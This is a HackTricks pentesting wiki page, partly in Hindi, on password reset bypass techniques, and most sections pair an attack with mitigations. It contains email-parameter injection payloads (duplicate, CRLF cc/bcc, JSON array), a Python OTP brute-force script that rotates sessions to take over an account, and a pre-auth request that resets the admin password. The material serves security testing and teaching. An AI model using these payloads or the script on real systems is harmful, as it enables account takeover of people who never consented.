Reset/Forgotten Password Bypass

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Password Reset Token Leak Via Referrer

  • The HTTP referer header may leak the password reset token if it's included in the URL. यह तब हो सकता है जब उपयोगकर्ता password reset request करने के बाद किसी तृतीय-पक्ष वेबसाइट के लिंक पर क्लिक करे।
  • Impact: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
  • Exploitation: यह जाँचने के लिए कि क्या password reset token referer header में leak हो रहा है, अपने ईमेल पते पर request a password reset करें और दिए गए reset link पर click करें। तुरंत अपना पासवर्ड change न करें। इसके बजाय, third-party website (जैसे Facebook या Twitter) पर नेविगेट करें जबकि आप अनुरोधों को intercepting the requests using Burp Suite कर रहे हों। अनुरोधों का निरीक्षण करें कि क्या referer header contains the password reset token, क्योंकि इससे संवेदनशील जानकारी तृतीय पक्षों के सामने expose हो सकती है।
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Impact: Leads to potential account takeover by leaking reset tokens to attackers.
  • Mitigation Steps:
  • Host header को allowed domains की whitelist के खिलाफ validate करें।
  • Absolute URLs generate करने के लिए secure, server-side तरीकों का उपयोग करें।
  • Patch: Use $_SERVER['SERVER_NAME'] to construct password reset URLs instead of $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • Attackers अपने ईमेल को अतिरिक्त parameter के रूप में जोड़कर reset link को divert कर सकते हैं।
  • Add attacker email as second parameter using &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com

दूसरे पैरामीटर के रूप में हमलावर का ईमेल %20 का उपयोग करके जोड़ें

php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • attacker email को दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • cc का उपयोग करके attacker email को दूसरे पैरामीटर के रूप में जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • bcc का उपयोग करके दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • attacker email को दूसरे पैरामीटर के रूप में , का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • json array में दूसरे पैरामीटर के रूप में attacker email जोड़ें
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

API Parameters के माध्यम से किसी भी उपयोगकर्ता का Email और Password बदलना

  • हमलावर API requests में email और password parameters को modify करके account credentials बदल सकते हैं.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • निवारण कदम:
  • सुनिश्चित करें कि पैरामीटर वेलिडेशन और authentication चेक सख्ती से लागू हों।
  • संदिग्ध गतिविधियों का पता लगाने और उन पर प्रतिक्रिया देने के लिए मजबूत लॉगिंग और मॉनिटरिंग लागू करें।
  • Reference:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • पासवर्ड रीसेट अनुरोधों पर rate limiting की कमी email bombing का कारण बन सकती है, जिससे उपयोगकर्ता reset ईमेलों से अभिभूत हो सकता है।
  • निवारण कदम:
  • IP address या user account के आधार पर rate limiting लागू करें।
  • ऑटोमेटेड दुरुपयोग रोकने के लिए CAPTCHA challenges का उपयोग करें।
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या brute-force करना संभव हो सकता है। कुछ विकल्प:
  • Based Timestamp
  • Based on the UserID
  • Based on email of User
  • Based on Firstname and Lastname
  • Based on Date of Birth
  • Based on Cryptography
  • निवारण कदम:
  • टोकन जनरेशन के लिए मजबूत, cryptographic विधियों का उपयोग करें।
  • अनुमानयोग्यता रोकने के लिए पर्याप्त randomness और length सुनिश्चित करें।
  • टूल्स: Burp Sequencer का उपयोग करके टोकनों की randomness का विश्लेषण करें।

Guessable UUID

  • यदि UUIDs (version 1) अनुमानित या predictable हैं, तो attackers उन्हें brute-force करके वैध reset tokens जनरेट कर सकते हैं। जाँचें:

UUID Insecurities

  • निवारण कदम:
  • रैंडमनेस के लिए GUID version 4 का उपयोग करें या अन्य वर्ज़न के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
  • Tools: Use guidtool for analyzing and generating GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • HTTP responses को बदलकर error messages या restrictions को bypass करना।
  • निवारण कदम:
  • response integrity सुनिश्चित करने के लिए server-side checks लागू करें।
  • man-in-the-middle attacks रोकने के लिए HTTPS जैसे secure communication channels का उपयोग करें।
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • यह परखें कि क्या expired tokens अभी भी password reset के लिए उपयोग किए जा सकते हैं।
  • निवारण कदम:
  • सख्त token expiration नीतियाँ लागू करें और token expiry को server-side पर validate करें।

Brute Force Password Reset Token

  • Burpsuite और IP-Rotator जैसे टूल्स का उपयोग करके reset token को brute-force करने का प्रयास, ताकि IP-based rate limits को bypass किया जा सके।
  • निवारण कदम:
  • मजबूत rate-limiting और account lockout मैकेनिज्म लागू करें।
  • brute-force हमलों के संकेत देने वाली संदिग्ध गतिविधियों की मॉनिटरिंग करें।

Try Using Your Token

  • परखें कि क्या किसी attacker का reset token victim के ईमेल के साथ उपयोग किया जा सकता है।
  • निवारण कदम:
  • सुनिश्चित करें कि टोकन user session या अन्य user-specific attributes से बाउंड हों।

Session Invalidation in Logout/Password Reset

  • यह सुनिश्चित करना कि जब उपयोगकर्ता logout करता है या password reset करता है तो sessions invalidated हों।
  • निवारण कदम:
  • proper session management लागू करें, यह सुनिश्चित करते हुए कि logout या password reset पर सभी sessions invalidated हो जाएँ।

Session Invalidation in Logout/Password Reset

  • Reset tokens के पास एक expiration समय होना चाहिए जिसके बाद वे invalid हो जाएँ।
  • निवारण कदम:
  • reset tokens के लिए एक उचित expiration समय तय करें और इसे server-side सख्ती से लागू करें।

OTP rate limit bypass by changing your session

  • यदि वेबसाइट user session का उपयोग wrong OTP attempts को ट्रैक करने के लिए कर रही है और OTP कमजोर है (<= 4 digits) तो हम प्रभावी रूप से OTP को bruteforce कर सकते हैं।
  • शोषण:
  • सर्वर द्वारा ब्लॉक किए जाने के बाद बस एक नया session token request करें।
  • Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

कुछ implementations एक password change action को expose करते हैं जो password-change routine को skipOldPwdCheck=true के साथ कॉल करता है और किसी भी reset token या ownership को verify नहीं करता। यदि endpoint request body में change_password जैसे action parameter और username/new password स्वीकार करता है, तो एक attacker pre-auth arbitrary accounts reset कर सकता है।

कमजोर पैटर्न (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation request (अवधारणा):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

निवारक उपाय:

  • पासवर्ड बदलने से पहले हमेशा खाते और session से जुड़ा वैध, समय-सीमित reset token आवश्यक करें।
  • skipOldPwdCheck paths को अप्रमाणित उपयोगकर्ताओं के लिए कभी प्रकट न करें; नियमित पासवर्ड बदलाव के लिए प्रमाणीकरण लागू करें और पुराने पासवर्ड का सत्यापन करें।
  • पासवर्ड बदलने के बाद सभी सक्रिय sessions और reset tokens को अमान्य करें।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें